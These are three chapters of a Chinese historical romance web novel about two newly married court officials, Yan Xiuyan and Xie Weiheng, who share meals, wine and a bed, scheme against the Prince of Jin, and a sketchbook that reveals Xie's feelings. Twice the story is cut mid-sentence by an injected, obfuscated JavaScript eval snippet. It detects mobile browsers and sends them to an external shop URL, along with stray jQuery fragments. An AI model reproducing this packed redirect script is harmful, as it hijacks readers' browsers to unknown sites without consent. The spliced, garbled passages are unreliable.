谢伟恒早已吩咐厨房备好了晚膳,闻言只是笑了笑,转身进了内室,不多时便端着一杯温茶出来,递到燕修延手里:“晚上有窝蛋牛肉粥。” 燕修延接过茶盏的手一顿,当即瞪圆了眼,控诉的话脱口而出:“就喝个粥啊?谢伟恒你过分了!才成亲几日,你就这般苛待我?” 他话音刚落,院门口就传来一阵轻笑声。 虞睿祥不知何时竟寻了过来,闻言忙替谢伟恒说话:“修延你可别冤枉他,那粥可香了!朕下午路过厨房,那香味儿差点把朕的鼻子都香掉了。” 燕修延将信将疑地挑眉,上下打量了虞睿祥一番:“就一个粥,还能香到哪里去?陛下莫不是又被谢伟恒收买了?” 这话逗得虞睿祥哈哈大笑,连谢伟恒都忍不住弯了弯唇角。 不多时,谢伯端着一碗热气腾腾的粥进来,白瓷碗里,软糯的米粥浸在浓醇的肉汤里,上面卧着一个完整的荷包蛋,蛋皮微破,金黄的蛋黄缓缓流出来,香气瞬间弥漫了整个屋子。 燕修延的眼睛瞬间亮了,接过粥碗就迫不及待地舀了一口。 米粥软糯,肉汤鲜醇,牛肉炖得酥烂,入口即化,连带着那荷包蛋都带着浓浓的肉香。 他一口气喝了大半碗,才想起什么似的抬头问谢伯:“谢伯,这是什么米,这么香?” 谢伯笑呵呵地捋着胡须,解释道:“这不是米香,是熬粥的牛肉香。这牛肉是用盐、姜丝、食粉等物慢火熬了三个时辰才出的汤,再用那汤来熬粥,自然香得很。” 燕修延动作一顿,又问:“那熬汤的料呢?” “熬完汤,那些东西就没什么味道了。” 谢伯笑得和蔼,“下人们嘴馋,就分着吃了。” 燕修延默默放下筷子,心里五味杂陈。 谢府的下人日子过的挺好,那熬汤的牛肉,还有那些姜丝、食粉,他平日里只有在打了大胜仗,犒劳自己的时候才舍得吃上一些。 他忽然福至心灵,猛地看向谢伟恒。 难怪谢伟恒身手比他强上那么一丢丢,定是好东西吃多了! 不行,他燕修延怎么能输给谢伟恒? 强过谢伟恒,就从今晚比他多喝一碗粥开始! 燕修延当即端起粥碗,又舀了满满一碗,风卷残云般喝了个干净,末了还意犹未尽地舔了舔嘴角。 用完膳,燕修延摸了摸圆滚滚的肚子,心里却打起了小算盘。 他可没打算真的在谢府过夜,得寻个机会翻墙回自己家才是。 正琢磨着,就见谢伟恒提着一壶酒,脚步轻快地往后院走去。 燕修延的好奇心瞬间被勾了起来,想也没想就跟了上去。 谢伟恒径直走向书房,推开门的瞬间,燕修延瞅准时机,像只狸猫似的闪身溜了进去,动作快得连谢伟恒都没察觉。 书房里燃着淡淡的檀香,谢伟恒刚放下酒壶,就听见身后传来一声带着怒气的质问:“好你个谢伟恒!给我喝寡淡的粥,自己却躲起来喝酒?” 燕修延几步上前,一把抢过酒壶,拔开塞子就往鼻尖凑。 清冽的酒香混着竹叶的清香扑面而来,他眼睛一亮:“竹叶青!算你有点眼光。给我个杯子。” 谢伟恒转过身,倚在书案边,似笑非笑地看着他:“燕大人怕是忘了,你说过,不会再喝谢府的酒。” 燕修延理直气壮地挑眉,随手拉过一把椅子坐下,指尖拍了拍椅背上厚厚的软垫,语气带着几分嘲讽:“我说是松针酒不喝,又没说不喝其他的酒。 谢大人倒是惯会享受,连书房的椅子都铺得这般软和。” 他没注意到,谢伟恒的目光落在他拍过的软垫上,这书房的椅子,从前是没有坐垫的。 谢伟恒转身从博古架上取下一只白玉杯,递到他面前:“没想到你会喝,只拿了一只。” 燕修延挑眉,抬手就去抢:“交上来!上供懂不懂?如今我可是你的夫君,你这点酒还不该孝敬我?” 谢伟恒失笑,顺势将酒杯递到他手里,又从他手中拿过酒壶,低眉顺眼地说道:“有劳燕大人把酒壶给我,下官替你斟酒。” 燕修延满意地哼了一声,将酒壶往书案上一放,傲慢地抬了抬下巴:“满上。” “是。” 谢伟恒执壶的手稳得很,琥珀色的酒液缓缓注入白玉杯,不多不少,恰好满杯。 燕修延端起酒杯,指尖摩挲着冰凉的杯壁,单手撑在书案上,目光落在谢伟恒低着的头上。 烛光下,谢伟恒的侧脸线条柔和,长长的睫毛垂下来,在眼睑下投下一片浅浅的阴影,竟让人看不出半分情绪。 “谢伟恒,” 燕修延忽然开口,声音低了几分,“你究竟是个怎样的人?” 他自认看人的本事不差。 成亲之前,谢伟恒在他眼里就像一张白纸,喜怒哀乐都写在脸上,干净得让人一眼就能看透。 成亲当晚,那纸却被陡然撕 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两人的距离骤然拉近,鼻尖几乎相触,他温热的呼吸拂过燕修延的脸颊,带着淡淡的酒香:“逆子,是要以下犯上的。燕大人这话,是在邀请我么?” 燕修延像被点燃的炮仗,猛地推开他,怒声骂道:“谢伟恒你有病吧!” 他说的逆子,是指谢伟恒不守规矩,处处与他作对。 可谢伟恒说的以下犯上,却带着赤裸裸的暧昧,烫得他心尖发颤。 燕修延抓起酒壶就要走,却被谢伟恒叫住。 “白天可审问出什么来?” 谢伟恒直起身,语气恢复了平日的沉稳,“你手下来找你时,我瞧着神色匆忙,想来是与季风有关。” 谈到正事,燕修延的烦躁瞬间消散大半。 他放下酒壶,重新坐了回去,目光锐利如刀:“谢伟恒,在这盘棋里,你到底扮演的是怎样一个角色?” 谢伟恒拿起酒壶,替他将酒杯斟满,动作慢条斯理:“在这世上,我是与你并肩而立的人。” 简单的一句话,却像一颗石子,在燕修延的心湖里激起层层涟漪。 他怔怔地看着谢伟恒,半晌才回过神,端起酒杯抿了一口,将白天审讯出来的信息一五一十地告诉了他。 谢伟恒听完,指尖轻轻敲击着书案,语气笃定:“这几家铺子,看似是长公主的产业,实则是她府上得宠的小厮在打理。” 说是小厮,其实就是面首。 长公主不好权,不贪财,唯独偏爱俊美的皮囊。 她府上不仅有样貌出众的小厮,更有各色美男云集,风光无两。 虞湘晔看上过燕修延,想让燕修延做她的驸马。 燕修延邀她去刑房参观,本以为她会知难而退,没想到她竟还没放弃。” 谢伟恒的眸色瞬间冷了几分,指尖的敲击陡然停止。 他沉默片刻,沉声道:“此事由陛下出面最为稳妥。我明日告知陛下,另外,明日起你就不要出门了。” 燕修延挑眉,语气带着几分嘲讽:“怎么?谢大人这是想把我当金丝雀养在谢府?” 谢伟恒没有否认。 他确实有过这样的念头,想将燕修延护在自己的羽翼之下,不让他再涉险。 可他更清楚,燕修延是翱翔天际的雄鹰,笼中的金丝雀,从来不是他想要的。 “明日我再向陛下求个太医。” 谢伟恒避开了他的问题,转而说道。 燕修延心中一动,想起了在芙蓉池外,谢伟恒说过他身上有伤。 他抬眼看向谢伟恒,目光带着几分探究:“那谢大人可知,我受的是什么伤?” 谢伟恒勾了勾唇角,墨色的眸子里闪过一丝狡黠,慢条斯理地吐出两个字:“内、伤。” “滚你大爷的谢伟恒!” 燕修延瞬间明白了他的意思,抓起桌上的酒杯就朝他掷去,脸上却烧得厉害。 谢伟恒轻而易举地接住酒杯,指尖摩挲着杯口,竟就着燕修延喝过的地方,将杯中的酒一饮而尽,末了还意犹未尽地咂咂嘴:“好酒。” 燕修延气得浑身发抖,却又拿他无可奈何。 他深吸一口气,压下心头的燥热,又想起一事:“还有一事,李想那厮,想正式用李羽飞的名义买卖店铺,贪污受贿。 此事牵扯甚广,你跟陛下说一声,看看何时能让我去一趟杭州。” 谢伟恒放下酒杯,目光坚定地看着他:“知道了。到时候,我跟你一起去。” 37. 自信点,就是他! 燕修延岔开话题,指尖在桌面敲出轻响:“你让我装病,能钓出什么来?” 谢伟恒垂眸展开一张素笺,镇纸压得平展,狼毫饱蘸浓墨,落下三个字,力透纸背:晋王、瑞王、端王。 “跟踪你的,应当是晋王的人。” 他指尖点在“晋王”二字上,眸光沉如寒潭,“包括此前巷子里,那听了半句话便遁走的黑影。” 虞睿祥登基,母族势微,全靠几位老将军坐镇,才压得诸皇子不敢妄动。 谢伟恒语调平淡,却字字藏锋,“晋王刚愎自用,自私虚伪; 端王体弱,向来避事; 瑞王外家无力,纵有争心,亦是心有余而力不足。” “自信点,把‘应当’去掉,就是晋王。” 燕修延挑眉,夺过他手中笔,浓墨在“晋王”二字外画了个圈,墨迹晕开,像极了困兽之笼。 “晋王自大,你那位上司倒谨慎。” 他指的是监察司正使,“查中书令的罪证够了,想牵出晋王,还差点火候。” 先帝在位时,朝臣贪腐,有的摆在明面上,有的藏在阴沟里。 中书令便是后者,监察司查了数月,才从层层迷雾里揪出蛛丝马迹。 “再谨慎,做过的事,总会留痕。” 谢伟恒笑了笑,指尖摩挲着纸页边缘,“我猜,晋王此刻就在京城。” “这不巧了么,我也是这么想的。” 燕修延回他一个肯定的眼神,眼底闪过锐利的光。 监察司的人盯了中书令府多日,见府上频频采买稀罕昂贵的食材,显然是有贵客临门。 可府中暗卫密布,他们不敢久留,数次探查,都没抓到晋王的踪迹。 谢伟恒拿回笔,在“晋王”名下画了道粗重的杠,墨色淋漓,“是与不是,待燕大人‘养伤’几日,再将监察司的人‘打发’出去‘寻医问药’,便知分晓。” 燕修延低笑出声,笑声里带着几分痞气,“谢大人,我算看出来了,你这人鸡贼得很,演戏也是一流的。” 谢伟恒不置可否,拿起纸凑到烛火边,火舌一卷,素笺瞬间化为灰烬,随风散入夜色。 “不敌燕大人心思藏得深。” 他话锋陡然一转,语气带了几分戏谑,“今夜,大人定是不敢与我同榻了吧?” 燕修延端起酒杯,仰头饮了一口,酒液辛辣,烧得喉咙发紧。 “我不敢?” 他挑眉反驳,眼底却闪过一丝不自然,“我只是不习惯同别人睡一张床。” 谢伟恒亲手斟满酒杯,一饮而尽,喉结滚动,笑容里竟带了几分苦涩。 烛光映在他脸上,柔和了眉眼间的锋芒,只余一抹怅然,“即便成了亲,我在你眼中,依旧是‘别人’么?” 燕修延:…… 这人又开始演了。 可那双眼睛里的落寞,太过真切,不似作伪。 他无奈地叹了口气,心说自己真是天生的招麻烦体质,偏生对这温润公子的苦肉计没辙。 “行吧行吧,睡就睡。” 他抢过谢伟恒手中的酒杯,倒转酒壶晃了晃,“但说好了,睡觉就睡觉,不许动手动脚,不许不老实。” 又指了指酒壶,“剩下的酒都是我的,你不许抢。” 谢伟恒失笑,自然不会同他争。 他转身走向书架,指尖拂过一排排书脊,回头问:“夜深了,可有想看的书?” 燕修延本想脱口说“来本春宫图”,话到嘴边又咽了回去。 他可忘不了,上回开了句类似的玩笑,谢伟恒竟真的从书架深处翻出一卷画册,眉眼含笑地问他“要不要一起研究”,臊得他差点找个地缝钻进去。 思及此,他干咳两声,随口道:“我想看武功秘籍。” 谢伟恒闻言,脚步顿在最后一排书架前,那里的书都蒙着一层薄尘,显然是许久未曾翻阅。 他抽出一本线装旧书,书页泛黄,边角磨损,封面上的字迹却依旧清晰——《枪法》。 燕修延的眼睛瞬间亮了,像饿狼见了肥肉,猛地坐直身子,目光死死黏在谢伟恒手上。 那是他毕生所求的枪法心得,他甚至能从书皮的质感上,感受到其中蕴含的武学精髓。 可他不敢伸手去抢,怕自己力气太大,弄坏了这宝贝。 谢伟恒将书递给他,语气带着几分笑意,“你若感兴趣,可常来书房看。这一整排书架,都是武功相关的书,还有些行兵布阵的兵书。” 他当年为了搜罗这些书,费了九牛二虎之力,甚至去央求父亲,被那位老大人笑了半宿,说他一个文弱书生,偏学武人好勇斗狠。 “有这好东西,你早干嘛去了!” 燕修延迫不及待地翻开书,指尖抚过泛黄的书页,墨字清晰,注解详尽,每一招每一式,都透着精妙的武学智慧。 他的枪法向来以攻代守,凌厉霸道,却在防守上有所欠缺,遇着旗鼓相当的对手,极易露出破绽。 而这本《枪法》,恰恰是攻防兼备,招式灵活,补全了他最致命的短板。 他捧着书,快步走到书架前,目光扫过一排排书脊,《刀法精要》《轻功溯源》《阵法详解》……眼睛越亮,呼吸都变得急促起来。 “这么多宝贝,你不去带兵打仗,偏来做个文官?” 他回头看向谢伟恒,语气里满是不解,“若将这些融会贯通,上阵杀敌,难遇敌手!那些老将军若是见了,怕是要厚着脸皮,在你这书房安家长住了。” 谢伟恒缓步走到他身后,胸膛几乎贴着他的后背,温热的呼吸洒在他颈间。 “你上阵杀敌,我替你镇守后方即可。” 他的声音低沉而温柔,像羽毛轻轻拂过心尖。 燕修延猛地回头,撞进一双深邃的眼眸里。 烛光跳跃,映得那双眼睛里星河璀璨,而他自己的身影,清晰地映在其中,占满了整个瞳孔。 “他日你身披铠甲,奔赴沙场,有我在朝堂,定不会让人克扣你的军饷,粮草补给,绝无半分延误。” 谢伟恒的手轻轻覆上他的手腕,指腹温热,带着不容置疑的坚定,“有我在,定不会叫人在背后对你妄加攻讦,让你前线浴血,后方还要受那无妄之灾。” 历朝历代,多少武将马革裹尸,换来的却是文官的构陷与猜忌。 那些歌舞升平里的冷箭,远比沙场的刀锋更伤人。 燕修延的手腕被他握着,那温度像是带着火,一路烧到心底,烫得他有些不自在,慌忙移开视线,耳根悄悄泛红。 “那,我便在这里,谢过谢大人了。” 谢伟恒低笑出声,指腹轻轻蹭过他手背上凸起的青筋,触感粗糙,带着常年握枪的厚茧。“倒是难得,能从燕大人口中听到一声谢。” “说的好像我是个喂不熟的白眼狼似的。” 燕修延别扭地扭了扭手腕,却没真的挣开。 谢伟恒松开手,指尖还残留着他的温度,“时辰不早了,回房休息吧。” 燕修延小心翼翼地捧着《枪法》,像捧着稀世珍宝,又冲着桌上的酒壶努了努嘴,“把这个也带上。” “好。” 谢伟恒依言拿起酒壶,跟在他身后。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646195|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回到卧房,燕修延先将书轻轻放在床头,摆得端端正正,又仔细抚平书页的褶皱,才转头嘱咐谢伟恒,“一会上床,小心点,别压着书。” 他顿了顿,又道,“要不,我还是去书房睡吧。” 那里书多,看个通宵也方便。 谢伟恒正在解外衣的玉带,闻言动作一顿,回头看他,嘴角噙着一抹似笑非笑的弧度,“睡书房恐怕不行。” “为何?”燕修延皱眉。 谢伟恒慢条斯理地脱下外衣,挂在衣架上,语气轻描淡写,“书房夜深时,偶尔会不太平。” 燕修延咽了口口水,心里发毛,“什么意思?” 谢伟恒走到他身边,俯身在他耳边低语,气息温热,带着淡淡的墨香,“没什么,只是会有些奇怪的响动,门窗都关着,却时不时的传来冷风,烛火也会突然跳动得厉害……” “打住!” 燕修延猛地抬手捂住他的嘴,掌心贴在他柔软的唇瓣上,触感温热,让他心头一跳。 “可以了可以了,别说了!再说下去,我今晚别想睡了。” 去书房睡的念头,刚冒出来就被掐得死死的。 他转身抓起酒壶,仰头猛灌了几口,辛辣的酒液下肚,才稍稍压下心底的寒意。 两人洗漱完毕,燕修延迫不及待地爬上床,趴在床头,借着烛光翻看《枪法》。 谢伟恒将烛台移到床边,自己靠在床头,随手拿起一本书,目光却没落在书页上,尽数落在身侧那人的背影上。 酒壶就放在床边,大半都进了燕修延的肚子。 饶是那本《枪法》再吸引人,酒意上头,燕修延的眼皮也开始打架,像挂了千斤重的秤砣,直往下耷拉。 头一点一点的,有一下没稳住,差点一头栽进书里。 谢伟恒眼疾手快,伸手托住他的头,掌心温热,稳稳地将他扶住。 燕修延迷迷糊糊地拍了拍自己的脸,用力眨了眨眼,试图让自己清醒些,可酒意如潮水般涌来,根本抵挡不住。 谢伟恒无奈地笑了笑,轻轻合上他手中的书,小心翼翼地放到床头,声音温柔得能滴出水来,“明日再看,累了,就先睡吧。” 燕修延终于放弃挣扎,一头扎进柔软的枕头里,嘟囔了几句听不清的话,很快就发出了轻微的鼾声,呼吸均匀而绵长。 谢伟恒吹灭蜡烛,黑暗瞬间笼罩下来,只有窗外的月光,透过窗棂,洒下一地清辉。 他躺进被窝里,侧过身,静静看着身侧人的睡颜,嘴角勾起一抹浅浅的笑。 他在等,等某人像往常一样,睡着后便不安分地滚过来。 果然,没过多久,身侧的人就开始动了。 先是嘟囔着什么,像是在骂人,又像是在说梦话,胳膊从被窝里伸出来,胡乱打了两下,随后便翻了个身,像只寻找热源的猫,一滚,就精准地滚进了他的怀里。 温热的身体贴上来,带着淡淡的酒气和皂角香。 谢伟恒心满意足地拢了拢被子,将人紧紧抱在怀里,下巴抵在他的发顶,听着他平稳的呼吸,自己也渐渐沉入梦乡。 第二日清晨,天刚蒙蒙亮。 燕修延是被一阵温热的触感弄醒的。 鼻尖抵着一片光滑的肌肤,温热的气息洒在上面,惹得对方轻轻颤了一下。 他迷迷糊糊地睁开眼,入目的是一片雪白的胸膛,肌理匀称,线条流畅,带着常年习武之人没有的温润,却又不失力量感。 而他的鼻尖,正抵在那胸膛中央,一抹殷红的痣上。 那痣像一颗朱砂,点在雪白的玉盘上,艳得惊人。 38. 我肾虚,去不得 燕修延紧盯着谢伟恒那颗痣,目光胶着得久了,眼尾都泛了点酸,差点把自己看成斗鸡眼。 谢伟恒睡得沉,呼吸温热地拂在他发顶,手臂还松松垮垮地圈着他的腰,带着昨夜未散的慵懒暖意。 他轻手轻脚地去掰那只手,指尖触到对方温热的腕骨时,还是忍不住颤了颤,生怕惊了这人的好梦。 一寸寸挪开那只手,燕修延像只偷腥的猫,小心翼翼地往床里侧滚。 锦被被他蹭得窸窣作响,身下的软枕都挪了位置,眼看着就要滚到床沿,离那具温热的身体远些了,后腰却突然一紧。 谢伟恒手臂一捞,又将他整个人按回怀里,力道带着不容拒绝的笃定。 掌心轻轻拍着他的后背,动作温柔得不像话,声音裹在睡意里,黏黏糊糊的,像梦呓似的:“别怕,有我在呢,睡吧。” 怕? 燕修延差点气笑出声。 他燕修延是什么人? 是监察司正使,刀山火海闯过,尸山血海踏过,这辈子就没怕过什么——当然,鸡除外。 脑海里瞬间闪过昨夜的梦。 他梦见自己在谢伟恒的书房里看书,书架上的线装书突然活了过来,书页簌簌展开,竟化作一只只扑棱着翅膀的鸡。 那些鸡通体雪白,尖喙却红得刺眼,一窝蜂地朝他扑来。 “嗷呜嗷呜”地叫着,用尖利的喙啄他的胳膊、腿,甚至还有脸。 他吓得在书房里东躲西藏,偏偏那些鸡像是认准了他,怎么甩都甩不掉,最后他被逼到墙角。 眼看着一只大公鸡就要啄到他的眼睛,他猛地惊醒,才发现自己正死死揪着谢伟恒的里衣,手指都攥白了。 艹。 燕修延懊恼地闷哼一声。 要是谢伟恒知道他堂堂监察司正使,居然会被鸡追得吓破胆,怕是要笑掉大牙。 他眯起眼睛,心里的小算盘打得噼啪响—— 暗杀朝廷命官谢侍郎,这个想法刚冒出来,头顶就传来一声低笑。 “早。” 谢伟恒的声音带着刚睡醒的沙哑,格外撩人。 他捏了捏燕修延的后颈,指尖的温度烫得人发麻,随即,一个轻柔的吻落在了他的发顶上。 那吻轻得像羽毛拂过,却让燕修延的心跳漏了一拍,浑身的血液都仿佛在瞬间沸腾起来。 他下意识地绷紧身体,脑子里飞速盘算着,是给这人一拳,还是一脚? 拳风刚要酝酿,谢伟恒却率先松开了手,坐了起来。 里衣的领口松散开来,露出大片白皙的皮肤,锁骨线条流畅,往下是隐约可见的胸膛。 谢伟恒的动作带着刚睡醒的倦意,抬手揉了揉眉心,声音里透着无奈:“燕大人练功真勤奋,梦中都不忘练。” 燕修延的视线不受控制地落在那片白色上,喉结不自觉地滚动了一下。 那片皮肤细腻光滑,却又透着隐隐的力量感,看得他心猿意马。 他猛地移开视线,脸上却还是不受控制地泛起热意。 正使大人的杀人计划还没实施一半,就中道翻了个身,面朝里,背对着谢伟恒,声音硬邦邦的:“我可不似谢大人这般惫懒。” 嘴上这么说着,心里却在打鼓。 他昨晚睡觉到底是什么姿势? 怎么把谢伟恒的里衣扯得这么乱七八糟,领口都快开到腰了。 不知道的,还以为他们昨晚发生了点什么。 希望谢伟恒不要提起衣服的事情。 燕修延在心里默默祈祷。 他听见身后传来悉悉索索的声音,是谢伟恒在穿衣服。 紧接着,脚步声响起,走到屏风后,又传来衣物摩擦的声音。 他忍不住好奇,悄悄转过身,正好看见谢伟恒侧身脱下那件褶皱的里衣。 阳光透过窗棂,洒在他的背上,勾勒出流畅的背脊线条。 腰腹间的肌肉紧实,垒块分明,随着他的动作轻轻起伏,最后隐入白色的裘裤中。 谁能想到,看着清瘦文弱的谢侍郎,衣服底下竟是这样一副光景? 燕修延看得有些出神,直到谢伟恒穿好外衣,转过身来,他才慌忙转回去,假装自己还在生气。 好在,直到吃完朝食,谢伟恒都没有提衣服的事情。 饭后,燕修延去了书房看书。 谢伟恒在书房里练了会儿字,墨香袅袅,与书斋里的檀香交织在一起,格外安神。 他写的是行书,笔锋流畅,力透纸背。 写着写着,他放下笔,走到燕修延身边,轻轻拍了拍他的肩膀,声音温和:“别忘了,时辰差不多了,就回房间躺着。” 说完,他便整理好朝服,进宫面圣去了。 昨日戌时,虞睿祥和太后便摆驾回宫了,想来今日有不少事情要处理。 书房里只剩下燕修延一人,安安静静的。 他捧着一本书,看得十分入神,大约看了一个多时辰,连自己坐了多久都忘了。 还是谢伯端着茶和点心进来,轻声提醒,他才惊觉时间过得这么快。 “谢谢谢伯。” 燕修延接过茶盏,抿了一口。 谢伯笑呵呵地站在一旁,脸上的皱纹都舒展开了:“少爷特意叮嘱老奴,大约一个时辰的时候,提醒少夫人休息片刻。” 少……夫人? 燕修延的嘴角抽了抽。 就当是少爷的丈夫的“夫”吧。 他不好跟老人家争论称呼的问题,只能硬着头皮应下。 他拿起一块点心,叫住了准备离开的谢伯,犹豫了一下,还是问出了口:“谢伯,谢伟恒他长这么大,身边当真连个知心姑娘都没有过?” 谢伯闻言,立刻拍着胸脯,语气笃定得很,就差没竖起三根手指头指着天发誓了:“少爷是老奴看着长大的,素来对男女之事无感。 自少爷记事起,身边伺候的都是小厮,连个丫鬟都没有的,少夫人大可放心。” 这“少夫人”听着,可真是窝火。 谢伯说的真心实意,燕修延却想到了另一层。 谢伟恒喜欢男人,会不会就是因为从小身边都是男人? 似乎是看出了他的疑虑,谢伯很有眼色地补充了一句:“就连小厮,也是近不了少爷身的。少爷他绝对洁身自好,婚前也是为少夫人守身如玉。” “守身如玉”这四个字,像一道惊雷,炸得燕修延头皮发麻。 他捏了捏眉心,忍不住在心里腹诽。 谢伯看着稳重,没想到说起话来,也挺不着调的。 他不过是突然想起来,随口一问罢了。 “谢伯,我知道了,谢谢你啊。” 燕修延摆了摆手,示意谢伯可以下去了。 谢伯行了个礼,便转身离开了书房。 燕修延吃了两块点心,喝了口茶,不知怎么的,突然想起了谢伟恒先前藏起来的那本册子。 那本册子看起来十分神秘,谢伟恒藏得那样小心,里面到底写了些什么? 他的眼睛环视了书房一周,心里盘算着,要不要翻找一下。 趁别人不在,偷翻东西是不对的。 可谢伟恒自己也说过,他们成亲了,是夫夫。夫夫之间,自然就不是别人了。 这个念头一旦冒出来,就像野草一样,疯狂地生长起来。 燕修延吃下手上的最后一块点心,喝干了杯中的茶,拍了拍手,站起身,开始在书架上翻找起来。 他把书架上的书都翻了个遍,连角落都没放过,却始终没有找到那本册子。 燕修延有些泄气,坐回椅子上,心里嘀咕:难不成谢伟恒把册子放到别处去了? 他拍了下桌子,准备放弃,继续看书。 可视线无意间落在书桌的抽屉上,心里突然一动。 总不能放在这里吧?藏都不藏的,也太明目张胆了。 抱着试试看的心态,他伸手拉开了抽屉。 嘿! 还真在里面! 那本册子就安安静静地躺在抽屉的最里面,上面压着几本奏折。 看来,谢伟恒是觉得,最危险的地方,就是最安全的地方。 燕修延的心跳瞬间加速,他小心翼翼地拿起那本册子,翻开。 里面的内容让他不知所措,连耳根都烧了起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646196|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。 而此时,皇宫里,御书房内。 谢伟恒正对着虞睿祥汇报着,话说到一半,突然停住了。 脑海里闪过自己放在抽屉里的册子,心里咯噔一下。 燕修延应该已经忘了这件事情……吧? “啪!” 谢府的书房里,燕修延猛地合上册子,手忙脚乱地把它塞回抽屉里,动作带着他自己都不曾察觉的慌乱。 他死死地盯着抽屉,胸口剧烈地起伏着,过了好一会儿,才慢慢回过神来。 他拍拍自己的脸,自言自语道:“谢伟恒差不多该回来了,回房间装病去。” 说完,他便起身,快步走出了书房,朝着自己的房间走去。 谢伟恒带着太医回到房间时,看到的就是燕修延两眼无神地盯着床顶,脸色苍白,嘴唇也没什么血色,差点以为他真的病得很重。 郑太医是虞睿祥的心腹,自然知道其中的内情。 他拿出脉枕,垫在燕修延的手腕下,装模作样地开始把脉。 手指搭在燕修延的脉搏上,他故意皱着眉头,一副认真诊断的样子。 诊脉、观面色、看舌象。 一系列动作结束后,郑太医拿起笔,刷刷点点地写下一张药方,递给了谢伟恒。 见屋内没有旁人,郑太医清了清嗓子,压低声音,意有所指地说道:“二位在房事上还是稍微节制些,眼下虽无碍,可细水长流方为长久之计。” 燕修延:闹呢? 就一夜!这都能诊出来?! 他差点当场掀被子下床,把郑太医丢出去。 若非知道郑太医确实是个嘴严的,今天这谢府,郑太医怕是走不出去了。 谢伟恒的神色却没有丝毫变化,仿佛郑太医说的只是寻常的病情。 他从怀里拿出一个银锭子,放进郑太医手中,语气平淡:“有劳太医了。” “谢大人太客气了。” 郑太医收下银锭子,又拿起笔,写下两张方子,递了过去,“正所谓药食同源,按照这张方子,日常饮食上注意些,可起到温补肾阳的作用。这张则是制成药膏,为了长久着想,那处还是要多多养护的。” 燕修延的拳头捏得死紧,指节都泛白了。 他深吸一口气,努力压下心中的怒火。 谢伟恒似乎察觉到了他的情绪,先一步起身,将郑太医请出了房间。 他一路把郑太医送到门口,又叫来人,将郑太医送回宫去。 谢伟恒将郑太医开的第一份药方一分为二,递给随后赶来的谢伯:“劳烦谢伯亲自拿着药方去店里抓药,记住,去两家药房抓。还有,这段时日,找人盯紧府上和药房。” 谢伯知道事情的轻重,没有多问,揣着方子便匆匆去了。 谢伟恒去库房转了一圈,回来时,手里多了一个金貔貅。 那貔貅雕刻得栩栩如生,金光闪闪,一手握的大小,沉甸甸的,一看就是实心的。 “燕大人既身子不舒服,貔貅不仅招财进宝,还能辟邪驱灾。” 谢伟恒走到床边,将金貔貅递给燕修延。 燕修延接过貔貅,入手沉甸甸的,冰凉的触感从指尖传来,让他躁动的心稍微平静了一些。 他哼了一声,语气带着几分调侃:“谢大人有心了。” 说完,他掀开床头的暗格,将金貔貅放了进去。 房间里只剩下他们两人,气氛一时有些微妙。 燕修延看了谢伟恒好几眼,那些调侃揶揄的话就在嘴边打转,可话到了嘴边,却又说不出来。 他总觉得,经过刚才那档子事,再调侃谢伟恒,好像有点怪怪的。 谢伟恒也察觉到了他的不对劲。 他看得出来,燕修延不是因为郑太医的话而生气,反而像是有什么心事。 “我去书房,你去么?” 谢伟恒想了想,开口问道。 提到书房,燕修延的脸上闪过一丝不自然。 他下意识地摸了摸自己的鼻子,眼神有些闪躲,最终还是摇了摇头,语气带着几分戏谑,又带着几分说不清道不明的别扭:“不了,我肾虚,去不得。” 39. 我可没说过 谢伟恒的指尖触到抽屉里冰凉的扇坠时,眉峰几不可察地动了动。 那枚羊脂玉的小坠子原是系在画册扉页的,此刻却孤零零地滚在一旁,红绳上还沾着半缕墨香——分明是有人趁他不在,极小心地翻动过。 他抽出那本册子,指尖抚过纸面,每一页都是燕修延。 劲装裹身时,他勒马立于猎场,墨发被风掀起,眼底盛着燎原的意气,连鬓边的碎发都带着桀骜; 朝堂之上,他却歪在椅中假寐,长腿交叠,嘴角噙着漫不经心的笑,仿佛金銮殿上的君臣奏对都与他无关; 更有那吊儿郎当斜睨人的模样,眉梢眼角都带着挑衅,偏生一双桃花眼亮得惊人,叫人恨得牙痒,又忍不住心头发烫。 册子翻到最后一页,谢伟恒的指尖顿住了。 那是年少的燕修延,他穿着簇新的锦袍,脸颊肉肉的,还带着未脱的稚气,瞪圆了眼睛望着漫天花灯,嘴角沾着点冰糖葫芦的红渍,傻乎乎的,却可爱得让人心尖发颤。 他低笑一声,指尖轻点画中人圆嘟嘟的鼻子,声音轻得像怕惊扰了什么:“小坏蛋,长大了还是个小坏蛋。” 卧房里,燕修延正猝不及防地揉了揉鼻子,翻身盯着床顶的描金帐幔发呆。 谢伟恒对他的情意,似乎比他所想的要深的多。 一页页翻下去,燕修延的心跳渐渐失了章法。 他不懂书画,却看得懂那落笔时的用心——猎场勒马时飞扬的衣袂,是反复晕染的墨色; 朝堂假寐时微蹙的眉峰,是细如发丝的勾勒; 甚至连他吊儿郎当挑眉时,眼尾那一点若有若无的红,都被精准地捕捉,晕染得恰到好处。 那不是一时兴起的戏笔,是藏在时光里的无数个瞬间,是谢伟恒不动声色间,刻在心底的他。 燕修延抬手摸了摸自己的脸颊,仿佛还能感受到画册上那细腻的笔触。 他打开床头的暗格,里面躺着一只鎏金的貔貅,眼珠是用赤金镶嵌的,耀武扬威地瞪着他。 “担心我被那老东西气着,就拿你来哄我。” 